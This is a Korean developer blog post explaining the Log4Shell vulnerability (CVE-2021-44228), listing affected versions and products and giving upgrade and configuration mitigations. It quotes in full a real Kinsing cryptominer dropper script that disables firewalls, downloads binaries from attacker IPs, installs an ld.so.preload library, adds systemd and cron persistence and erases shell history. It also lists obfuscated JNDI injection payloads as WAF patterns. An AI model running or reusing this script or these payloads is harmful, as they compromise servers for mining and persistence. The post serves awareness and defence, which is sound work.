2021년 12월 10일. CVE-2021-44228 취약점이 공개 되었습니다.
현재 수많은 사이트 등에서 다수의 스캔 흔적이 포착 된것으로 확인 됩니다.
자바 어플리케이션을 사용하는 곳은 모두 체크 해봐야 합니다.
영향 받는 버전
Log4j 2.x <= 2.14.1
Logback 및 Log4j 1.x 버전은 이번 CVE 에 영향 받지 않습니다. 하지만 log4j 1.x 버전은 이전에 발표된 CVE 영향을 받습니다. 아래 내용 참조.
취약점 내용
로그 메시지 및 매개변수에 사용되는 JNDI 기능을 이용하여 공격자가 작성한 LDAP 또는 기타 프로토콜을 통해 임의의 코드가 실행 될 수 있음
Log4j 에선 message lookup 기능을 제공 합니다.
(https://logging.apache.org/log4j/2.x/manual/lookups.html)
하지만 만약 로그에 특정 파라미터나 http header 라던가 body 라던가 등을 기록한다고 했을 때
아래의 이미지 처럼 파라미터를 던지고 그걸 로깅하려 할 때 Log4j2 에서는 lookup을 시도 하게 되고
해당 데이터를 통해 임의의 코드가 실행 될 수 있습니다.
실제로 어떤 사이트에선 curl wget 등을 통해 쉘 스크립트를 받아 실행되도록 만들어져 있었습니다.
전체 내용은 아래에 첨부 해두었습니다.
#!/bin/bash
ulimit -n 65535
chattr -i /etc/ld.so.preload
rm -f /etc/ld.so.preload
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
ufw disable
iptables -F
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
ROOTUID="0"
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
if [ -s /usr/bin/curl ]; then
echo "found curl"
elif [ -s /usr/bin/wget ]; then
echo "found wget"
else
echo "found none"
if [ "$(id -u)" -ne "$ROOTUID" ] ; then
echo "not root"
else
apt-get update
apt-get install -y curl
apt-get install -y wget
apt-get install -y cron
fi
fi
SERVICE_NAME="bot"
BIN_NAME="kinsing"
SO_NAME="libsystem.so"
BIN_PATH="/etc"
if [ "$(id -u)" -ne "$ROOTUID" ] ; then
BIN_PATH="/tmp"
if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
echo "$BIN_PATH not exists or not writeable"
mkdir /tmp
fi
if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
echo "$BIN_PATH replacing with /var/tmp"
BIN_PATH="/var/tmp"
fi
if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
TMP_DIR=$(mktemp -d)
echo "$BIN_PATH replacing with $TMP_DIR"
BIN_PATH="$TMP_DIR"
fi
if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
echo "$BIN_PATH replacing with /dev/shm"
BIN_PATH="/dev/shm"
fi
if [ -e "$BIN_PATH/$BIN_NAME" ]; then
echo "$BIN_PATH/$BIN_NAME exists"
if [ ! -w "$BIN_PATH/$BIN_NAME" ]; then
echo "$BIN_PATH/$BIN_NAME not writeable"
TMP_BIN_NAME=$(head -3 /dev/urandom | tr -cd '[:alnum:]' | cut -c -8)
BIN_NAME="kinsing_$TMP_BIN_NAME"
else
echo "writeable $BIN_PATH/$BIN_NAME"
fi
fi
fi
BIN_FULL_PATH="$BIN_PATH/$BIN_NAME"
echo "$BIN_FULL_PATH"
BIN_MD5="648effa354b3cbaad87b45f48d59c616"
BIN_DOWNLOAD_URL="http://82.118.18.201/kinsing"
BIN_DOWNLOAD_URL2="http://82.118.18.201/kinsing"
CURL_DOWNLOAD_URL="http://82.118.18.201/curl-amd64"
SO_FULL_PATH="$BIN_PATH/$SO_NAME"
SO_DOWNLOAD_URL="http://82.118.18.201/libsystem.so"
SO_DOWNLOAD_URL2="http://82.118.18.201/libsystem.so"
SO_MD5="ccef46c7edf9131ccffc47bd69eb743b"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ]; then
LDR="curl"
fi
if [ -s /usr/bin/wget ]; then
LDR="wget -q -O -"
fi
if [ -x "$(command -v curl)" ]; then
WGET="curl -o"
elif [ -x "$(command -v wget)" ]; then
WGET="wget -O"
else
curl -V || __curl "$CURL_DOWNLOAD_URL" > /usr/local/bin/curl; chmod +x /usr/local/bin/curl
/usr/local/bin/curl -V && WGET="/usr/local/bin/curl -o"
/usr/local/bin/curl -V || __curl "$CURL_DOWNLOAD_URL" > $HOME/curl; chmod +x $HOME/curl
$HOME/curl -V && WGET="$HOME/curl -o"
$HOME/curl -V || __curl "$CURL_DOWNLOAD_URL" > $BIN_PATH/curl; chmod +x $BIN_PATH/curl
$BIN_PATH/curl -V && WGET="$BIN_PATH/curl -o"
fi
echo "wget is $WGET"
ls -la $BIN_PATH | grep -e "/dev" | grep -v grep
if [ $? -eq 0 ]; then
rm -rf $BIN_FULL_PATH
rm -rf $SO_FULL_PATH
rm -rf $BIN_PATH/kdevtmpfsi
rm -rf $BIN_PATH/libsystem.so
rm -rf /tmp/kdevtmpfsi
echo "found /dev"
else
echo "not found /dev"
fi
download() {
DOWNLOAD_PATH=$1
DOWNLOAD_URL=$2
if [ -L $DOWNLOAD_PATH ]
then
rm -rf $DOWNLOAD_PATH
fi
if [[ -d $DOWNLOAD_PATH ]]
then
rm -rf $DOWNLOAD_PATH
fi
chmod 777 $DOWNLOAD_PATH
$WGET $DOWNLOAD_PATH $DOWNLOAD_URL
chmod +x $DOWNLOAD_PATH
}
checkExists() {
CHECK_PATH=$1
MD5=$2
sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
retval=""
if [ "$MD5" = "$sum" ]; then
echo >&2 "$CHECK_PATH is $MD5"
retval="true"
else
echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
retval="false"
fi
echo "$retval"
}
getSystemd() {
AUTOSTART_PATH=$1
echo "[Unit]"
echo "Description=Start daemon at boot time"
echo "After="
echo "Requires="
echo "[Service]"
echo "Type=forking"
echo "RestartSec=10s"
echo "Restart=always"
echo "TimeoutStartSec=5"
echo "ExecStart=$AUTOSTART_PATH"
echo "[Install]"
echo "WantedBy=multi-user.target"
}
kill(){
ps aux | grep "agetty" | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill -9 %
pkill -f 42.112.28.216
netstat -anp | grep "207.38.87.6" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep "127.0.0.1:52018" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep "34.81.218.76:9486" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep "42.112.28.216:9486" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
pkill -f .git/kthreaddw
pkill -f 80.211.206.105
pkill -f 207.38.87.6
pkill -f p8444
pkill -f supportxmr
pkill -f monero
pkill -f kthreaddi
pkill -f srv00
pkill -f /tmp/.javae/javae
pkill -f .javae
pkill -f .syna
pkill -f .main
pkill -f xmm
pkill -f solr.sh
pkill -f /tmp/.solr/solrd
pkill -f /tmp/javac
pkill -f /tmp/.go.sh
pkill -f /tmp/.x/agetty
pkill -f /tmp/.x/kworker
pkill -f c3pool
pkill -f /tmp/.X11-unix/gitag-ssh
pkill -f /tmp/1
pkill -f /tmp/okk.sh
pkill -f /tmp/gitaly
pkill -f /tmp/.x/kworker
pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
pkill -f /tmp/.X11-unix/supervise
pkill -f /tmp/.ssh/redis.sh
ps aux| grep "./udp"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
cat /tmp/.X11-unix/01|xargs -I % kill -9 %
cat /tmp/.X11-unix/11|xargs -I % kill -9 %
cat /tmp/.X11-unix/22|xargs -I % kill -9 %
cat /tmp/.pg_stat.0|xargs -I % kill -9 %
cat /tmp/.pg_stat.1|xargs -I % kill -9 %
cat $HOME/data/./oka.pid|xargs -I % kill -9 %
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd
pkill -f cruner
pkill -f dbused
pkill -f bashirc
pkill -f meminitsrv
ps aux| grep "./oka"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
ps aux| grep "postgres: autovacum"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
ps ax -o command,pid -www| awk 'length($1) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey|grep -v kinsing| awk '{print $2}'|xargs -I % kill -9 %
ps ax -o command,pid -www| awk 'length($1) == 16'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $2}'|xargs -I % kill -9 %
ps ax| awk 'length($5) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $1}'|xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/sscks' | awk '{print $2}' | xargs -I % kill -9 %
}
kill
autoinit() {
getSystemd $BIN_FULL_PATH >/lib/systemd/system/$SERVICE_NAME.service
systemctl enable $SERVICE_NAME
systemctl start $SERVICE_NAME
}
so() {
soExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
if [ "$soExists" == "true" ]; then
echo "$SO_FULL_PATH exists and checked"
else
echo "$SO_FULL_PATH not exists"
download $SO_FULL_PATH $SO_DOWNLOAD_URL
binExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
if [ "$soExists" == "true" ]; then
echo "$SO_FULL_PATH after download exists and checked"
else
echo "$SO_FULL_PATH after download not exists"
download $SO_FULL_PATH $SO_DOWNLOAD_URL2
binExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
if [ "$soExists" == "true" ]; then
echo "$SO_FULL_PATH after download2 exists and checked"
else
echo "$SO_FULL_PATH after download2 not exists"
fi
fi
fi
echo $SO_FULL_PATH >/etc/ld.so.preload
}
cleanCron() {
crontab -l | sed '/base64/d' | crontab -
crontab -l | sed '/_cron/d' | crontab -
crontab -l | sed '/31.210.20.181/d' | crontab -
crontab -l | sed '/update.sh/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -
crontab -l | sed '/zmreplchkr/d' | crontab -
crontab -l | sed '/aliyun.one/d' | crontab -
crontab -l | sed '/3.215.110.66.one/d' | crontab -
crontab -l | sed '/pastebin/d' | crontab -
crontab -l | sed '/onion/d' | crontab -
crontab -l | sed '/lsd.systemten.org/d' | crontab -
crontab -l | sed '/shuf/d' | crontab -
crontab -l | sed '/ash/d' | crontab -
crontab -l | sed '/mr.sh/d' | crontab -
crontab -l | sed '/185.181.10.234/d' | crontab -
crontab -l | sed '/localhost.xyz/d' | crontab -
crontab -l | sed '/45.137.151.106/d' | crontab -
crontab -l | sed '/111.90.159.106/d' | crontab -
crontab -l | sed '/github/d' | crontab -
crontab -l | sed '/bigd1ck.com/d' | crontab -
crontab -l | sed '/xmr.ipzse.com/d' | crontab -
crontab -l | sed '/185.181.10.234/d' | crontab -
crontab -l | sed '/146.71.79.230/d' | crontab -
crontab -l | sed '/122.51.164.83/d' | crontab -
crontab -l | sed '/newdat.sh/d' | crontab -
crontab -l | sed '/lib.pygensim.com/d' | crontab -
crontab -l | sed '/t.amynx.com/d' | crontab -
crontab -l | sed '/update.sh/d' | crontab -
crontab -l | sed '/systemd-service.sh/d' | crontab -
crontab -l | sed '/pg_stat.sh/d' | crontab -
crontab -l | sed '/sleep/d' | crontab -
crontab -l | sed '/oka/d' | crontab -
crontab -l | sed '/linux1213/d' | crontab -
crontab -l | sed '/#wget/d' | crontab -
crontab -l | sed '/#curl/d' | crontab -
crontab -l | sed '/zsvc/d' | crontab -
crontab -l | sed '/givemexyz/d' | crontab -
crontab -l | sed '/world/d' | crontab -
crontab -l | sed '/1.sh/d' | crontab -
crontab -l | sed '/3.sh/d' | crontab -
crontab -l | sed '/workers/d' | crontab -
crontab -l | sed '/oracleservice/d' | crontab -
}
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" == "true" ]; then
echo "$BIN_FULL_PATH exists and checked"
else
echo "$BIN_FULL_PATH not exists"
download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" == "true" ]; then
echo "$BIN_FULL_PATH after download exists and checked"
else
echo "$BIN_FULL_PATH after download not exists"
download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" == "true" ]; then
echo "$BIN_FULL_PATH after download2 exists and checked"
else
echo "$BIN_FULL_PATH after download2 not exists"
fi
fi
fi
so
if [ -L /tmp/kdevtmpfsi ]
then
rm -rf /tmp/kdevtmpfsi
fi
rm -rf /tmp/kdevtmpfsi
chmod 777 $BIN_FULL_PATH
chmod +x $BIN_FULL_PATH
SKL=lh $BIN_FULL_PATH
if [[ $(id -u) -ne 0 ]]; then
echo "Running as not root"
else
echo "Running as root"
autoinit
fi
cleanCron
crontab -l | grep -e "185.191.32.198" | grep -v grep
if [ $? -eq 0 ]; then
echo "cron good"
else
(
crontab -l 2>/dev/null
echo "* * * * * $LDR http://185.191.32.198/lh.sh | bash > /dev/null 2>&1"
) | crontab -
fi
history -c
rm -rf ~/.bash_history
history -c
내용이 아주 악랄합니다.
현재 까지 확인 된 영향 받은 제품/서비스
Product/Service | Confirmed Affected |
Minecraft | Yes |
Steam | Yes |
Apple iCloud | Yes |
Tencent | Yes |
Yes | |
Baidu | Yes |
Didi | Yes |
Cloudflare | Yes |
Amazon | Yes |
Tesla | Yes |
ElasticSearch | Yes |
Ghidra | Yes |
패치 내용 (log4j2)
https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3
링크 참조
테스트 방법
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890
https://github.com/mwarnerblu/Log4ShellScanner
링크를 참조 하여 테스트 가능 합니다.
대략 적인 패턴은
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
이렇습니다. 참고하세요! 주로 해당 패턴 위주로 WAF 에 RULE 설정하여 WAF에서도 방어 합니다.
조치 방법
1. 업그레이드
버전을 2.16.0 이상으로 업그레이드 한다. (글 작성 시간 기준 2.16.0 이 가장 최신)
*2021. 12. 14 10시 기준, Log4j2 2.16.0 이 릴리즈 되었습니다.
https://logging.apache.org/log4j/2.x/changes-report.html#a2.16.0
JNDI 가 기본적으로 disable 되었고, 메시지 룩업 기능이 제거 되었습니다.
Maven
<properties>
<log4j2.version>2.16.0</log4j2.version>
</properties>
Gradle
ext['log4j2.version'] = '2.16.0'
또는
implementation(platform("org.apache.logging.log4j:log4j-bom:2.16.0"))
2. 설정 변경 (from 2.0-beta9 to 2.10.0)
시스템 프로퍼티
log4j2.formatMsgNoLookups=true
또는 환경 변수
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
- 3. JNDI Lookup 제거 (from 2.0-beta9 ~ 2.10.0)
아래 명령을 통하여 log4j 라이브러리에서 JndiLookup 클래스 제거
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Spring Boot
Spring Boot 는 기본적으로 Logback 을 사용하기 때문에 별도로 설정하지 않았으면 취약점에 노출되지 않았습니다.
Log4j 1.x
Log4j 1.x 는 EOS 되었고 CVE-2019-17571 영향을 받습니다.
Log4j 2.15.0 이상으로 업그레이드를 추천합니다.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17571
'개발 > JAVA' 카테고리의 다른 글
Log4j 2.15.0 취약점 CVE-2021-45046 (1) | 2021.12.15 |
---|---|
Log4j 취약점 (CVE-2021-44228) 을 막는 5가지 방법 (0) | 2021.12.15 |
Maven Central Repository blocking http protocol (0) | 2020.01.20 |
Spring Camp 2019 발표자료 (0) | 2019.04.29 |